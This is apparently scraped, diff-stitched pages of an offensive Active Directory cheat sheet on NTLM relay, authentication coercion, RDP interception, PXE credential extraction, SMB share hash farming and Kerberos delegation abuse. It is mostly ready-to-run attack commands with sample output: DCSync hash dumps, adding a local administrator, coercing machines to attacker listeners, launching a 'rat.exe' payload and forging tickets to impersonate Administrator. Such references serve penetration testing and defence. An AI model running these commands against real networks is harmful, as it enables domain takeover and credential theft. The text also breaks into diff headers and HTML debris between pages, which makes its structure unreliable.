    Using any AD account, connect over SMB to a victim Exchange server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant DCSync privileges to the attacker account. The attacker account can now use DCSync to dump all password hashes in AD + 

    TERM1> python printerbug.py testsegment.local/username@s2012exc.testsegment.local <attacker ip/hostname>
+TERM2> ntlmrelayx.py --remove-mic --escalate-user ntu -t ldap://s2016dc.testsegment.local -smb2support
+TERM1> secretsdump.py testsegment/ntu@s2016dc.testsegment.local -just-dc
+

    +
    • +
  • +

    Using any AD account, connect over SMB to the victim server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant Resource Based Constrained Delegation privileges for the victim server to a computer account under the control of the attacker. The attacker can now authenticate as any user on the victim server.

    +
    # create a new machine account
+TERM1> ntlmrelayx.py -t ldaps://rlt-dc.relaytest.local --remove-mic --delegate-access -smb2support 
+TERM2> python printerbug.py relaytest.local/username@second-dc-server 10.0.2.6
+TERM1> getST.py -spn host/second-dc-server.local 'relaytest.local/MACHINE$:PASSWORD' -impersonate DOMAIN_ADMIN_USER_NAME
+
+# connect using the ticket
+export KRB5CCNAME=DOMAIN_ADMIN_USER_NAME.ccache
+secretsdump.py -k -no-pass second-dc-server.local -just-dc
+
    +
    • +
+

Drop the MIC 2 - CVE-2019-1166

+
+

A tampering vulnerability exists in Microsoft Windows when a man-in-the-middle attacker is able to successfully bypass the NTLM MIC (Message Integrity Check) protection. An attacker who successfully exploited this vulnerability could gain the ability to downgrade NTLM security features. To exploit this vulnerability, the attacker would need to tamper with the NTLM exchange. The attacker could then modify flags of the NTLM packet without invalidating the signature.

+
+
    +
  • Unset the signing flags in the NTLM_NEGOTIATE message (NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMSSP_NEGOTIATE_SIGN)
    • +
  • Inject a rogue msvAvFlag field in the NTLM_CHALLENGE message with a value of zeros
    • +
  • Remove the MIC from the NTLM_AUTHENTICATE message
    • +
  • Unset the following flags in the NTLM_AUTHENTICATE message: NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMSSP_NEGOTIATE_SIGN, NEGOTIATE_KEY_EXCHANGE, NEGOTIATE_VERSION.
    • +
+
ntlmrelayx.py -t ldap://dc.domain.com --escalate-user 'youruser$' -smb2support --remove-mic --delegate-access
+
+

Ghost Potato - CVE-2019-1384

+

Requirements:

+
    +
  • User must be a member of the local Administrators group
    • +
  • User must be a member of the Backup Operators group
    • +
  • Token must be elevated
    • +
+

Using a modified version of ntlmrelayx : https://shenaniganslabs.io/files/impacket-ghostpotato.zip

+
ntlmrelayx -smb2support --no-smb-server --gpotato-startup rat.exe
+
+

RemotePotato0 DCOM DCE RPC relay

+
+

It abuses the DCOM activation service and trigger an NTLM authentication of the user currently logged on in the target machine

+
+

Requirements:

+
    +
  • a shell in session 0 (e.g. WinRm shell or SSH shell)
    • +
  • a privileged user is logged on in the session 1 (e.g. a Domain Admin user)
    • +
+
# https://github.com/antonioCoco/RemotePotato0/
+Terminal> sudo socat TCP-LISTEN:135,fork,reuseaddr TCP:192.168.83.131:9998 & # Can be omitted for Windows Server <= 2016
+Terminal> sudo ntlmrelayx.py -t ldap://192.168.83.135 --no-wcf-server --escalate-user winrm_user_1
+Session0> RemotePotato0.exe -r 192.168.83.130 -p 9998 -s 2
+Terminal> psexec.py 'LAB/winrm_user_1:Password123!@192.168.83.135'
+
+

DNS Poisonning - Relay delegation with mitm6

+

Requirements:

+
    +
  • IPv6 enabled (Windows prefers IPV6 over IPv4)
    • +
  • LDAP over TLS (LDAPS)
    • +
+
+

ntlmrelayx relays the captured credentials to LDAP on the domain controller, uses that to create a new machine account, print the account's name and password and modifies the delegation rights of it.

+
+
git clone https://github.com/fox-it/mitm6.git 
+cd /opt/tools/mitm6
+pip install .
+
+mitm6 -hw ws02 -d lab.local --ignore-nofqnd
+# -d: the domain name that we filter our request on (the attacked domain)
+# -i: the interface we have mitm6 listen on for events
+# -hw: host whitelist
+
+ntlmrelayx.py -ip 10.10.10.10 -t ldaps://dc01.lab.local -wh attacker-wpad
+ntlmrelayx.py -ip 10.10.10.10 -t ldaps://dc01.lab.local -wh attacker-wpad --add-computer
+# -ip: the interface you want the relay to run on
+# -wh: WPAD host, specifying your wpad file to serve
+# -t: the target where you want to relay to
+
+# now granting delegation rights and then do a RBCD
+ntlmrelayx.py -t ldaps://dc01.lab.local --delegate-access --no-smb-server -wh attacker-wpad
+getST.py -spn cifs/target.lab.local lab.local/GENERATED\$ -impersonate Administrator  
+export KRB5CCNAME=administrator.ccache  
+secretsdump.py -k -no-pass target.lab.local  
+
+

Relaying with WebDav Trick

+
+

Example of exploitation where you can coerce machine accounts to authenticate to a host and combine it with Resource Based Constrained Delegation to gain elevated access. It allows attackers to elicit authentications made over HTTP instead of SMB

+
+

Requirement:

+
    +
  • WebClient service
    • +
+

Enable WebClient:

+

WebClient service can be enable on the machine using several techniques:

+
    +
  • Mapping a WebDav server using net command : net use ...
    • +
  • Typing anything into the explorer address bar that isn't a local file or directory
    • +
  • Browsing to a directory or share that has a file with a .searchConnector-ms extension located inside. + 
    <?xml version="1.0" encoding="UTF-8"?>
+<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">
+    <description>Microsoft Outlook</description>
+    <isSearchOnlyItem>false</isSearchOnlyItem>
+    <includeInStartMenuScope>true</includeInStartMenuScope>
+    <templateInfo>
+        <folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
+    </templateInfo>
+    <simpleLocation>
+        <url>https://example/</url>
+    </simpleLocation>
+</searchConnectorDescription>
+
    • +
+

Exploitation:

+
    +
  • +

    Discover machines on the network with enabled WebClient service + 

    webclientservicescanner 'domain.local'/'user':'password'@'machine'
+netexec smb 10.10.10.10 -d 'domain' -u 'user' -p 'password' -M webdav
+GetWebDAVStatus.exe 'machine'
+

    +
    • +
  • +

    Disable HTTP in Responder + 

    sudo vi /usr/share/responder/Responder.conf
+

    +
    • +
  • +

    Generate a Windows machine name, e.g: "WIN-UBNW4FI3AP0" + 

    sudo responder -I eth0
+

    +
    • +
  • +

    Prepare for RBCD against the DC + 

    python3 ntlmrelayx.py -t ldaps://dc --delegate-access -smb2support
+

    +
    • +
  • +

    Trigger the authentication to relay to our nltmrelayx: PetitPotam.exe WIN-UBNW4FI3AP0@80/test.txt 10.10.10.10, the listener host must be specified with the FQDN or full netbios name like logger.domain.local@80/test.txt. Specifying the IP results in anonymous auth instead of System. + 

    # PrinterBug
+dementor.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "TARGET_IP"
+SpoolSample.exe "TARGET_IP" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt"
+
+# PetitPotam
+Petitpotam.py "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "TARGET_IP"
+Petitpotam.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "TARGET_IP"
+PetitPotam.exe "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "TARGET_IP"
+

    +
    • +
  • +

    Use the created account to ask for a service ticket: + 

    .\Rubeus.exe hash /domain:purple.lab /user:WVLFLLKZ$ /password:'iUAL)l<i$;UzD7W'
+.\Rubeus.exe s4u /user:WVLFLLKZ$ /aes256:E0B3D87B512C218D38FAFDBD8A2EC55C83044FD24B6D740140C329F248992D8F /impersonateuser:Administrator /msdsspn:host/pc1.purple.lab /altservice:cifs /nowrap /ptt
+ls \\PC1.purple.lab\c$
+# IP of PC1: 10.0.0.4
+

    +
    • +
+

An alternative for the previous exploitation method is to register a DNS entry for the attack machine by yourself then trigger the coercion.

+
python3 /opt/krbrelayx/dnstool.py -u lab.lan\\jdoe -p 'P@ssw0rd' -r attacker.lab.lan -a add -d 192.168.1.50 192.168.1.2
+python3 /opt/PetitPotam.py -u jdoe -p 'P@ssw0rd' -d lab.lan attacker@80/test 192.168.1.3
+
+

Man-in-the-middle RDP connections with pyrdp-mitm

+
    +
  • https://github.com/GoSecure/pyrdp
    • +
  • https://www.gosecure.net/blog/2018/12/19/rdp-man-in-the-middle-smile-youre-on-camera/
    • +
+

Usage

+
pyrdp-mitm.py <IP>
+pyrdp-mitp.py <IP>:<PORT> # with custom port
+pyrdp-mitm.py <IP> -k private_key.pem -c certificate.pem # with custom key and certificate
+
+

Exploitation

+
    +
  • If Network Level Authentication (NLA) is enabled, you will obtain the client's NetNTLMv2 challenge
    • +
  • If NLA is disabled, you will obtain the password in plaintext
    • +
  • Other features are available such as keystroke recording
    • +
+

Alternatives

+
    +
  • S3th: https://github.com/SySS-Research/Seth, performs ARP spoofing prior to launching the RDP listener
    • +
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References

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Internal - PXE Boot Image

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PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it.

+
    +
  • Press [F8] during the PXE boot to spawn an administrator console on the deployed machine.
    • +
  • +

    Press [SHIFT+F10] during the initial Windows setup process to bring up a system console, then add a local administrator or dump SAM/SYSTEM registry.

    +
    net user hacker Password123! /add
+net localgroup administrators /add hacker
+
    +
    • +
  • +

    Extract the pre-boot image (wim files) using PowerPXE.ps1 (https://github.com/wavestone-cdt/powerpxe) and dig through it to find default passwords and domain accounts.

    +
    # Import the module
+PS > Import-Module .\PowerPXE.ps1
+
+# Start the exploit on the Ethernet interface
+PS > Get-PXEcreds -InterfaceAlias Ethernet
+PS > Get-PXECreds -InterfaceAlias « lab 0 » 
+
+# Wait for the DHCP to get an address
+>> Get a valid IP address
+>>> >>> DHCP proposal IP address: 192.168.22.101
+>>> >>> DHCP Validation: DHCPACK
+>>> >>> IP address configured: 192.168.22.101
+
+# Extract BCD path from the DHCP response
+>> Request BCD File path
+>>> >>> BCD File path:  \Tmp\x86x64{5AF4E332-C90A-4015-9BA2-F8A7C9FF04E6}.bcd
+>>> >>> TFTP IP Address:  192.168.22.3
+
+# Download the BCD file and extract wim files
+>> Launch TFTP download
+>>>> Transfer succeeded.
+>> Parse the BCD file: conf.bcd
+>>>> Identify wim file : \Boot\x86\Images\LiteTouchPE_x86.wim
+>>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim
+>> Launch TFTP download
+>>>> Transfer succeeded.
+
+# Parse wim files to find interesting data
+>> Open LiteTouchPE_x86.wim
+>>>> Finding Bootstrap.ini
+>>>> >>>> DeployRoot = \\LAB-MDT\DeploymentShare$
+>>>> >>>> UserID = MdtService
+>>>> >>>> UserPassword = Somepass1
+
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Internal - Shares

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READ Permission

+
+

Some shares can be accessible without authentication, explore them to find some juicy files

+
+
    +
  • +

    Pennyw0rth/NetExec - The Network Execution Tool + 

    nxc smb 10.0.0.4 -u guest -p '' -M spider_plus
+nxc smb 10.0.0.4 -u guest -p '' --get-file \\info.txt.txt infos.txt.txt  --share OPENSHARE
+

    +
    • +
  • +

    ShawnDEvans/smbmap - a handy SMB enumeration tool + 

    smbmap -H 10.10.10.10                # null session
+smbmap -H 10.10.10.10 -r PATH        # recursive listing
+smbmap -H 10.10.10.10 -u invaliduser # guest smb session
+smbmap -H 10.10.10.10 -d "DOMAIN.LOCAL" -u "USERNAME" -p "Password123*"
+

    +
    • +
  • +

    byt3bl33d3r/pth-smbclient from path-toolkit + 

    pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/Share
+pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/C$
+ls  # list files
+cd  # move inside a folder
+get # download files
+put # replace a file
+

    +
    • +
  • +

    SecureAuthCorp/smbclient from Impacket + 

    smbclient -I 10.10.10.100 -L ACTIVE -N -U ""
+        Sharename       Type      Comment
+        ---------       ----      -------
+        ADMIN$          Disk      Remote Admin
+        C$              Disk      Default share
+        IPC$            IPC       Remote IPC
+        NETLOGON        Disk      Logon server share
+        Replication     Disk      
+        SYSVOL          Disk      Logon server share
+        Users           Disk
+use Sharename # select a Sharename
+cd Folder     # move inside a folder
+ls            # list files
+

    +
    • +
  • +

    smbclient - from Samba, ftp-like client to access SMB/CIFS resources on servers + 

    smbclient -U username //10.0.0.1/SYSVOL
+smbclient //10.0.0.1/Share
+
+# Download a folder recursively
+smb: \> mask ""
+smb: \> recurse ON
+smb: \> prompt OFF
+smb: \> lcd '/path/to/go/'
+smb: \> mget *
+

    +
    • +
  • +

    SnaffCon/Snaffler - a tool for pentesters to help find delicious candy + 

    snaffler.exe -s - snaffler.log
+
+# Snaffle all the computers in the domain
+./Snaffler.exe -d domain.local -c <DC> -s
+
+# Snaffle specific computers
+./Snaffler.exe -n computer1,computer2 -s
+​
+# Snaffle a specific directory
+./Snaffler.exe -i C:\ -s
+

    +
    • +
+

WRITE Permission

+

Write SCF and URL files on a writeable share to farm for user's hashes and eventually replay them.

+

Theses attacks can be automated with Farmer.exe and Crop.exe

+
# Farmer to receive auth
+farmer.exe <port> [seconds] [output]
+farmer.exe 8888 0 c:\windows\temp\test.tmp # undefinitely
+farmer.exe 8888 60 # one minute
+
+# Crop can be used to create various file types that will trigger SMB/WebDAV connections for poisoning file shares during hash collection attacks
+crop.exe <output folder> <output filename> <WebDAV server> <LNK value> [options]
+Crop.exe \\\\fileserver\\common mdsec.url \\\\workstation@8888\\mdsec.ico
+Crop.exe \\\\fileserver\\common mdsec.library-ms \\\\workstation@8888\\mdsec
+
+

SCF Files

+

Drop the following @something.scf file inside a share and start listening with Responder : responder -wrf --lm -v -I eth0

+
[Shell]
+Command=2
+IconFile=\\10.10.10.10\Share\test.ico
+[Taskbar]
+Command=ToggleDesktop
+
+

Using netexec:

+
netexec smb 10.10.10.10 -u username -p password -M scuffy -o NAME=WORK SERVER=IP_RESPONDER #scf
+netexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVER=IP_RESPONDER #lnk
+netexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVER=IP_RESPONDER CLEANUP
+
+

URL Files

+

This attack also works with .url files and responder -I eth0 -v.

+
[InternetShortcut]
+URL=whatever
+WorkingDirectory=whatever
+IconFile=\\10.10.10.10\%USERNAME%.icon
+IconIndex=1
+
+

Windows Library Files

+
+

Windows Library Files (.library-ms)

+
+
<?xml version="1.0" encoding="UTF-8"?>
+<libraryDescription xmlns="<http://schemas.microsoft.com/windows/2009/library>">
+  <name>@windows.storage.dll,-34582</name>
+  <version>6</version>
+  <isLibraryPinned>true</isLibraryPinned>
+  <iconReference>imageres.dll,-1003</iconReference>
+  <templateInfo>
+    <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
+  </templateInfo>
+  <searchConnectorDescriptionList>
+    <searchConnectorDescription>
+      <isDefaultSaveLocation>true</isDefaultSaveLocation>
+      <isSupported>false</isSupported>
+      <simpleLocation>
+        <url>\\\\workstation@8888\\folder</url>
+      </simpleLocation>
+    </searchConnectorDescription>
+  </searchConnectorDescriptionList>
+</libraryDescription>
+
+

Windows Search Connectors Files

+
+

Windows Search Connectors (.searchConnector-ms)

+
+
<?xml version="1.0" encoding="UTF-8"?>
+<searchConnectorDescription xmlns="<http://schemas.microsoft.com/windows/2009/searchConnector>">
+    <iconReference>imageres.dll,-1002</iconReference>
+    <description>Microsoft Outlook</description>
+    <isSearchOnlyItem>false</isSearchOnlyItem>
+    <includeInStartMenuScope>true</includeInStartMenuScope>
+    <iconReference>\\\\workstation@8888\\folder.ico</iconReference>
+    <templateInfo>
+        <folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
+    </templateInfo>
+    <simpleLocation>
+        <url>\\\\workstation@8888\\folder</url>
+    </simpleLocation>
+</searchConnectorDescription>
+
+

References

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+ + + + + + + + + + \ No newline at end of file diff --git a/active-directory/kerberos-bronze-bit/index.html b/active-directory/kerberos-bronze-bit/index.html new file mode 100644 index 0000000..9b46427 --- /dev/null +++ b/active-directory/kerberos-bronze-bit/index.html @@ -0,0 +1,4163 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Kerberos - Bronze Bit - Internal All The Things + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
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Kerberos - Bronze Bit

+

CVE-2020-17049

+
+

An attacker can impersonate users which are not allowed to be delegated. This includes members of the Protected Users group and any other users explicitly configured as sensitive and cannot be delegated.

+

Patch is out on November 10, 2020, DC are most likely vulnerable until February 2021.

+
+

⚠ Patched Error Message : [-] Kerberos SessionError: KRB_AP_ERR_MODIFIED(Message stream modified)

+

Requirements:

+
    +
  • Service account's password hash
    • +
  • Service account's with Constrained Delegation or Resource Based Constrained Delegation
    • +
  • Impacket PR #1013
    • +
+

Attack #1 - Bypass the Trust this user for delegation to specified services only – Use Kerberos only protection and impersonate a user who is protected from delegation.

+
# forwardable flag is only protected by the ticket encryption which uses the service account's password 
+$ getST.py -spn cifs/Service2.test.local -impersonate Administrator -hashes <LM:NTLM hash> -aesKey <AES hash> test.local/Service1 -force-forwardable -dc-ip <Domain controller> # -> Forwardable
+
+$ getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes aad3b435b51404eeaad3b435b51404ee:7c1673f58e7794c77dead3174b58b68f -aesKey 4ffe0c458ef7196e4991229b0e1c4a11129282afb117b02dc2f38f0312fc84b4 test.local/Service1 -force-forwardable
+
+# Load the ticket
+.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit
+
+# Access "c$"
+ls \\service2.test.local\c$
+
+

Attack #2 - Write Permissions to one or more objects in the AD +* Windows/Linux: + 

bloodyAD -u user -p 'totoTOTOtoto1234*' -d test.local --host 10.100.10.5 add computer AttackerService 'AttackerServicePassword'
+bloodyAD --host 10.1.0.4 -u user -p 'totoTOTOtoto1234*' -d test.local add rbcd 'Service2$' 'AttackerService$'
+
+# Execute the attack
+getST.py -spn cifs/Service2.test.local -impersonate User2 -dc-ip 10.100.10.5 -force-forwardable 'test.local/AttackerService$:AttackerServicePassword'
+
+* Windows only: + 
# Create a new machine account
+Import-Module .\Powermad\powermad.ps1
+New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force)
+.\mimikatz\mimikatz.exe "kerberos::hash /password:AttackerServicePassword /user:AttackerService /domain:test.local" exit
+
+# Set PrincipalsAllowedToDelegateToAccount
+Install-WindowsFeature RSAT-AD-PowerShell
+Import-Module ActiveDirectory
+Get-ADComputer AttackerService
+Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
+Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount
+
+# Execute the attack
+python .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local/AttackerService -force-forwardable
+
+# Load the ticket
+.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit | Out-Null
+

+

References

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+ + + + + + + + + + \ No newline at end of file diff --git a/active-directory/kerberos-delegation-constrained/index.html b/active-directory/kerberos-delegation-constrained/index.html new file mode 100644 index 0000000..11ee590 --- /dev/null +++ b/active-directory/kerberos-delegation-constrained/index.html @@ -0,0 +1,4207 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Kerberos Delegation - Constrained Delegation - Internal All The Things + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
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Kerberos Delegation - Constrained Delegation

+
+

Kerberos Constrained Delegation (KCD) is a security feature in Microsoft's Active Directory (AD) that allows a service to impersonate a user or another service in order to access resources on behalf of that user or service.

+
+

Identify a Constrained Delegation

+
    +
  • BloodHound: MATCH p = (a)-[:AllowedToDelegate]->(c:Computer) RETURN p
    • +
  • PowerView: Get-NetComputer -TrustedToAuth | select samaccountname,msds-allowedtodelegateto | ft
    • +
  • Native + 
    Get-DomainComputer -TrustedToAuth | select -exp dnshostname
+Get-DomainComputer previous_result | select -exp msds-AllowedToDelegateTo
+
    • +
  • bloodyAD: + 
    bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=16777216))' --attr sAMAccountName,msds-allowedtodelegateto
+
    • +
+

Exploit the Constrained Delegation

+
    +
  • +

    Impacket + 

    getST.py -spn HOST/SQL01.DOMAIN 'DOMAIN/user:password' -impersonate Administrator -dc-ip 10.10.10.10
+

    +
    • +
  • +

    Rubeus: S4U2 attack (S4U2self + S4U2proxy) + 

    # with a password
+Rubeus.exe s4u /nowrap /msdsspn:"time/target.local" /altservice:cifs /impersonateuser:"administrator" /domain:"domain" /user:"user" /password:"password"
+
+# with a NT hash
+Rubeus.exe s4u /user:user_for_delegation /rc4:user_pwd_hash /impersonateuser:user_to_impersonate /domain:domain.com /dc:dc01.domain.com /msdsspn:time/srv01.domain.com /altservice:cifs /ptt
+Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_PWD_HASH /impersonateuser:Administrator /msdsspn:"cifs/dc.domain.com" /altservice:cifs,http,host,rpcss,wsman,ldap /ptt
+dir \\dc.domain.com\c$
+

    +
    • +
  • +

    Rubeus: use an existing ticket to perform a S4U2 attack to impersonate the "Administrator" + 

    # Dump ticket
+Rubeus.exe tgtdeleg /nowrap
+Rubeus.exe triage
+Rubeus.exe dump /luid:0x12d1f7
+
+# Create a ticket
+Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/srv.domain.local /ticket:doIFRjCCBUKgAwIBB...BTA== /ptt
+

    +
    • +
  • +

    Rubeus : using aes256 keys + 

    # Get aes256 keys of the machine account
+privilege::debug
+token::elevate
+sekurlsa::ekeys
+
+# Create a ticket
+Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/srv.domain.local /user:win10x64$ /aes256:4b55f...fd82 /ptt
+

    +
    • +
+

Impersonate a domain user on a resource

+

Require: +* SYSTEM level privileges on a machine configured with constrained delegation

+
PS> [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | out-null
+PS> $idToImpersonate = New-Object System.Security.Principal.WindowsIdentity @('administrator')
+PS> $idToImpersonate.Impersonate()
+PS> [System.Security.Principal.WindowsIdentity]::GetCurrent() | select name
+PS> ls \\dc01.offense.local\c$
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Kerberos Delegation - Resource Based Constrained Delegation

+

Resource-based Constrained Delegation was introduced in Windows Server 2012.

+
+

The user sends a Service Ticket (ST) to access the service ("Service A"), and if the service is allowed to delegate to another pre-defined service ("Service B"), then Service A can present to the authentication service the TGS that the user provided and obtain a ST for the user to Service B. https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

+
+
    +
  1. +

    Import Powermad and Powerview

    +
    PowerShell.exe -ExecutionPolicy Bypass
+Import-Module .\powermad.ps1
+Import-Module .\powerview.ps1
+
    +
    2. +
  2. +

    Get user SID

    +
    $AttackerSID = Get-DomainUser SvcJoinComputerToDom -Properties objectsid | Select -Expand objectsid
+$ACE = Get-DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier -match $AttackerSID}
+$ACE
+ConvertFrom-SID $ACE.SecurityIdentifier
+
+# alternative (Windows/Linux)
+bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get writable --otype COMPUTER --detail | egrep -i 'distinguishedName|msds-allowedtoactonbehalfofotheridentity'
+
    +
    3. +
  3. +

    Abuse MachineAccountQuota to create a computer account and set an SPN for it

    +
    New-MachineAccount -MachineAccount swktest -Password $(ConvertTo-SecureString 'Weakest123*' -AsPlainText -Force)
+
+# alternative (Windows/Linux)
+bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add computer swktest 'Weakest123*'
+
    +
    4. +
  4. +

    Rewrite DC's AllowedToActOnBehalfOfOtherIdentity properties

    +
    $ComputerSid = Get-DomainComputer swktest -Properties objectsid | Select -Expand objectsid
+$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
+$SDBytes = New-Object byte[] ($SD.BinaryLength)
+$SD.GetBinaryForm($SDBytes, 0)
+Get-DomainComputer dc01-ww2.factory.lan | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
+$RawBytes = Get-DomainComputer dc01-ww2.factory.lan -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
+$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
+$Descriptor.DiscretionaryAcl
+
+# alternative (Windows/Linux)
+# use 'remove' instead of 'add' after exploit
+bloodyAD --host 10.1.0.4 -u user -p 'totoTOTOtoto1234*' -d crash.lab add rbcd 'dc01-ww2$' 'swktest$'
+
    +
    # alternative
+$SID_FROM_PREVIOUS_COMMAND = Get-DomainComputer MACHINE_ACCOUNT_NAME -Properties objectsid | Select -Expand objectsid
+$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$SID_FROM_PREVIOUS_COMMAND)"; $SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0); Get-DomainComputer DC01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
+
+# alternative
+StandIn_Net35.exe --computer dc01 --sid SID_FROM_PREVIOUS_COMMAND
+
    +
    5. +
  5. +

    Use Rubeus to get hash from password

    +
    Rubeus.exe hash /password:'Weakest123*' /user:swktest$  /domain:factory.lan
+[*] Input password             : Weakest123*
+[*] Input username             : swktest$
+[*] Input domain               : factory.lan
+[*] Salt                       : FACTORY.LANswktest
+[*]       rc4_hmac             : F8E064CA98539B735600714A1F1907DD
+[*]       aes128_cts_hmac_sha1 : D45DEADECB703CFE3774F2AA20DB9498
+[*]       aes256_cts_hmac_sha1 : 0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347
+[*]       des_cbc_md5          : BA297CFD07E62A5E
+
    +
    6. +
  6. +

    Impersonate domain admin using our newly created machine account

    +
    .\Rubeus.exe s4u /user:swktest$ /rc4:F8E064CA98539B735600714A1F1907DD /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap
+.\Rubeus.exe s4u /user:swktest$ /aes256:0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347 /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap
+
+[*] Impersonating user 'Administrator' to target SPN 'cifs/dc01-ww2.factory.lan'
+[*] Using domain controller: DC01-WW2.factory.lan (172.16.42.5)
+[*] Building S4U2proxy request for service: 'cifs/dc01-ww2.factory.lan'
+[*] Sending S4U2proxy request
+[+] S4U2proxy success!
+[*] base64(ticket.kirbi) for SPN 'cifs/dc01-ww2.factory.lan':
+
+    doIGXDCCBligAwIBBaEDAgEWooIFXDCCBVhhggVUMIIFUKADAgEFoQ0bC0ZBQ1RPUlkuTEFOoicwJaAD
+    AgECoR4wHBsEY2lmcxsUZGMwMS[...]PMIIFC6ADAgESoQMCAQOiggT9BIIE
+    LmZhY3RvcnkubGFu
+
+[*] Action: Import Ticket
+[+] Ticket successfully imported!
+
    +
    7. +
+

References

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Kerberos Delegation - Unconstrained Delegation

+
+

The user sends a ST to access the service, along with their TGT, and then the service can use the user's TGT to request a ST for the user to any other service and impersonate the user. - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

+

When a user authenticates to a computer that has unrestricted kerberos delegation privilege turned on, authenticated user's TGT ticket gets saved to that computer's memory.

+
+

⚠ Unconstrained delegation used to be the only option available in Windows 2000

+
+

Warning +Remember to coerce to a HOSTNAME if you want a Kerberos Ticket

+
+

SpoolService Abuse with Unconstrained Delegation

+

The goal is to gain DC Sync privileges using a computer account and the SpoolService bug.

+

Requirements: +- Object with Property Trust this computer for delegation to any service (Kerberos only) +- Must have ADS_UF_TRUSTED_FOR_DELEGATION +- Must not have ADS_UF_NOT_DELEGATED flag +- User must not be in the Protected Users group +- User must not have the flag Account is sensitive and cannot be delegated

+

Find delegation

+

⚠ : Domain controllers usually have unconstrained delegation enabled.
+Check the TRUSTED_FOR_DELEGATION property.

+
    +
  • ADModule + 
    # From https://github.com/samratashok/ADModule
+PS> Get-ADComputer -Filter {TrustedForDelegation -eq $True}
+
    • +
  • +

    bloodyAD + 

    bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))' --attr sAMAccountName,userAccountControl
+

    +
    • +
  • +

    ldapdomaindump + 

    $> ldapdomaindump -u "DOMAIN\\Account" -p "Password123*" 10.10.10.10   
+grep TRUSTED_FOR_DELEGATION domain_computers.grep
+

    +
    • +
  • +

    netexec module + 

    nxc ldap 10.10.10.10 -u username -p password --trusted-for-delegation
+

    +
    • +
  • +

    BloodHound: MATCH (c:Computer {unconstraineddelegation:true}) RETURN c

    +
    • +
